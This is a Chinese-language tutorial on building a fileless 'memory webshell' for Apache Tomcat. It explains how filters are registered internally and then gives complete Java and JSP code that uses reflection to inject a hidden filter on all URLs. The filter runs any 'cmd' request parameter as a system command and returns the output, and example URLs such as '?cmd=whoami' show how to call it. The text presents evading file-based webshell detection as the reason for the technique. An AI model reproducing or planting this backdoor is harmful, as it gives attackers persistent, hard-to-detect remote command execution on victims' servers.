手把手教你实现tomcat内存马

简介: 手把手教你实现tomcat内存马

01内存马


  1. 为什么要使用内存马
  2. 有哪些类型的内存马
  3. 如何编写内存马

为什么要使用内存马


  1. 传统的webshell或以文件驻留的后门越来越容易被检测。
  2. 文件不落地,检测困难

有哪些类型的内存马


  1. 根据不同的容器都有自己对应的内存马
  1. tomcat
  2. weblogic


02Tomcat Filter内存马


  1. Filter是如何被创建的
  2. Filter是如何被执行的
  3. Filter是如何被销毁的(内存马暂时用不到)

Tomcat启动流程


  1. 从web.xml文件读取配置信息


流程


1.从webxml读取配置

2.将FilterDef加入context

ContextConfig#configureContext
for (FilterDef filter : webxml.getFilters().values()) {
            if (filter.getAsyncSupported() == null) {
                filter.setAsyncSupported("false");
            }
            context.addFilterDef(filter);
        }

1.如果filterDef == null我们需要设置三个东西

filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);

ApplicationContext
FilterDef filterDef = context.findFilterDef(filterName);
        // Assume a 'complete' FilterRegistration is one that has a class and
        // a name
        if (filterDef == null) {
            filterDef = new FilterDef();
            filterDef.setFilterName(filterName);
            context.addFilterDef(filterDef);
        } else {
            if (filterDef.getFilterName() != null &&
                    filterDef.getFilterClass() != null) {
                return null;
            }
        }
        if (filter == null) {
            filterDef.setFilterClass(filterClass);
        } else {
            filterDef.setFilterClass(filter.getClass().getName());
            filterDef.setFilter(filter);
        }

ContextConfig#configureContext
for (FilterMap filterMap : webxml.getFilterMappings()) {
            context.addFilterMap(filterMap);
        }
ContextConfig#processAnnotationWebFilter
FilterMap filterMap = new FilterMap();

a4f0c44f2f14ad081924d16a7172c239_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

0a66fbe05110f21a787083854a49a64e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


总结


1.从web.xml中读取到tomcat filter配置信息

2.将过滤器类和name对应起来(FilterDef)

3.将URLPattern和name对应起来(FilterMap)

4.将FilterDef和FilterMap加入context


Tomcat Filter初始化流程


2a47707065e2129624a9dc2754e1682b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


StandardContext#filterStart
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);


public boolean filterStart() {
        if (getLogger().isDebugEnabled()) {
            getLogger().debug("Starting filters");
        }
        // Instantiate and record a FilterConfig for each defined filter
        boolean ok = true;
        synchronized (filterConfigs) {
            filterConfigs.clear();
            for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
                String name = entry.getKey();
                if (getLogger().isDebugEnabled()) {
                    getLogger().debug(" Starting filter '" + name + "'");
                }
                try {
                    ApplicationFilterConfig filterConfig =
                            new ApplicationFilterConfig(this, entry.getValue());
                    filterConfigs.put(name, filterConfig);
                } catch (Throwable t) {
                    t = ExceptionUtils.unwrapInvocationTargetException(t);
                    ExceptionUtils.handleThrowable(t);
                    getLogger().error(sm.getString(
                            "standardContext.filterStart", name), t);
                    ok = false;
                }
            }
        }
        return ok;
    }


Tomcat Filter执行流程


  • 通过分析Filter执行,可以知道一个Filter需要哪些基本的数据
@WebFilter(filterName = "testFilter",urlPatterns = "/*")
public class MyFilterDemo1 implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter init");
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("do Filter");
        filterChain.doFilter(servletRequest, servletResponse);
    }
    @Override
    public void destroy() {
    }
}

f3d6a2afe2d3926c284448b40cb11e21_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


分析internalDoFilter


60f0a7befde27a80a255d382bc8f3c22_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

  • filter是一个数组
  • 利用下标进行遍历和匹配规则
  • 通过Filter数组或者说通过FilterChain找到第一个关键数据ApplicationFilterConfig
  • 问题  :FilterChain是如何创建的?

创建一个FilterChain


ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);



创建过滤链:createFilterChain


public static ApplicationFilterChain createFilterChain(ServletRequest request,
            Wrapper wrapper, Servlet servlet) {
        // If there is no servlet to execute, return null
        if (servlet == null)
            return null;
        // Create and initialize a filter chain object
        ApplicationFilterChain filterChain = null;
        if (request instanceof Request) {
            Request req = (Request) request;
            if (Globals.IS_SECURITY_ENABLED) {
                // Security: Do not recycle
                filterChain = new ApplicationFilterChain();
            } else {
                filterChain = (ApplicationFilterChain) req.getFilterChain();
                if (filterChain == null) {
                    filterChain = new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            // Request dispatcher in use
            filterChain = new ApplicationFilterChain();
        }
        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
        // Acquire the filter mappings for this Context
     //获取此上下文的筛选器映射
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();
        // If there are no filter mappings, we are done
        if ((filterMaps == null) || (filterMaps.length == 0))
            return (filterChain);
        // Acquire the information we will need to match filter mappings
     //获取匹配过滤器映射所需的信息
        DispatcherType dispatcher =
                (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);
        String requestPath = null;
        Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
        if (attribute != null){
            requestPath = attribute.toString();
        }
        String servletName = wrapper.getName();
        // Add the relevant path-mapped filters to this filter chain
     //将相关路径映射筛选器添加到此筛选器链
        for (int i = 0; i < filterMaps.length; i++) {
            if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
                continue;
            }
            if (!matchFiltersURL(filterMaps[i], requestPath))
                continue;
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMaps[i].getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }
        // Add filters that match on servlet name second
     //添加与servlet名称匹配的过滤器
        for (int i = 0; i < filterMaps.length; i++) {
            if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
                continue;
            }
            if (!matchFiltersServlet(filterMaps[i], servletName))
                continue;
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMaps[i].getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }
        // Return the completed filter chain
        return filterChain;
    }


03Java代码实现伪代码


package cn.jl.demo;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.apache.tomcat.util.net.DispatchType;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
@WebFilter("/*")
public class MyFilterDemo implements Filter {
    static {
        try{
            final String name = "jl";
            final String URLPath = "/*";
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
            MyFilterDemo myFilterDemo = new MyFilterDemo();
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(myFilterDemo);
            filterDef.setFilterName(name);
            standardContext.addFilterDef(filterDef);
        }catch (Exception ex){
            ex.printStackTrace();
        }
    }
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter("cmd")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }
    @Override
    public void destroy() {
    }
}


http://localhost:8080/xx.jsp?cmd=whoami


aca4a0e87e6ac7b6e9f56544f9752a62_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


04JSP代码分析


<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%
 //设置<filter-name>
    final String name = "jl";
 //获取filterConfigs
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    if (filterConfigs.get(name) == null) {
        //这里实现filter
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
            }
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                System.out.println("Do Filter ......");
                String cmd;
                if ((cmd = servletRequest.getParameter("cmd")) != null) {
                    Process process = Runtime.getRuntime().exec(cmd);
                    java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                            new java.io.InputStreamReader(process.getInputStream()));
                    StringBuilder stringBuilder = new StringBuilder();
                    String line;
                    while ((line = bufferedReader.readLine()) != null) {
                        stringBuilder.append(line + '\n');
                    }
                    servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                    servletResponse.getOutputStream().flush();
                    servletResponse.getOutputStream().close();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
                System.out.println("doFilter");
            }
            @Override
            public void destroy() {
            }
        };
        //设置FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        //设置FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterDef(filterDef);
        standardContext.addFilterMapBefore(filterMap);
        //将FilterConfig加入FilterConfigs中
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(name, filterConfig);
    }
%>


http://localhost/filter.jsp

http://localhost/1.jsp?cmd=whoami


参考链接


https://xz.aliyun.com/t/10362#toc-6

https://xz.aliyun.com/t/10696


相关文章
|
域名解析 缓存 安全
Tomcat - 如何优化 Tomcat 配置(内存、并发、缓存)优化
Tomcat - 如何优化 Tomcat 配置(内存、并发、缓存)优化
1190 0
|
5月前
|
缓存 安全 前端开发
(转)浅谈tomcat优化(内存,并发,缓存,安全,网络,系统等)
(转)浅谈tomcat优化(内存,并发,缓存,安全,网络,系统等)
|
6月前
|
算法 Java 应用服务中间件
Tomcat性能优化及JVM内存工作原理
Tomcat性能优化及JVM内存工作原理
|
jenkins 应用服务中间件 持续交付
gitlab、jenkins、tomcat内存限制
gitlab、jenkins、tomcat内存限制
97 0
|
Java 应用服务中间件 Linux
Linux下Tomcat指定JDK和设置内存大小
Linux下Tomcat指定JDK和设置内存大小
413 0
|
Oracle Java 关系型数据库
内存溢出之Tomcat内存配置-catalina.sh or catalina.bat
内存溢出之Tomcat内存配置-catalina.sh or catalina.bat
539 0
内存溢出之Tomcat内存配置-catalina.sh or catalina.bat
|
安全 Java 应用服务中间件
从一个被Tomcat拒绝的漏洞到特殊内存马
从一个被Tomcat拒绝的漏洞到特殊内存马
183 0
从一个被Tomcat拒绝的漏洞到特殊内存马
|
监控 Java 应用服务中间件
zabbix监控tomcat的jvm内存(二十七)
zabbix监控tomcat的jvm内存 1.介绍 tomcat监控主要是jvm,又来了jvm监控我们可以看到jvm的内存使用情况,内存溢出情况 zabbix监控tomcat使用的是zabbix-java-gateway,zabbix-java-gateway需要java环境
558 0
zabbix监控tomcat的jvm内存(二十七)
|
监控 Java 应用服务中间件
通过JConsoler监控Tomcat的JVM内存
通过JConsoler监控Tomcat的JVM内存 文章目录 通过JConsoler监控Tomcat的JVM内存 1.监控Tomcat的方式 2.Java自带的监控命令 3.Tomcat故障案例 10.4.配置Tomcat JMX监控 5.使用Jsconsole连接JMX查看监控数据
249 0
通过JConsoler监控Tomcat的JVM内存
|
3月前
|
存储 编译器 C语言
【C语言篇】数据在内存中的存储(超详细)
浮点数就采⽤下⾯的规则表⽰,即指数E的真实值加上127(或1023),再将有效数字M去掉整数部分的1。
378 0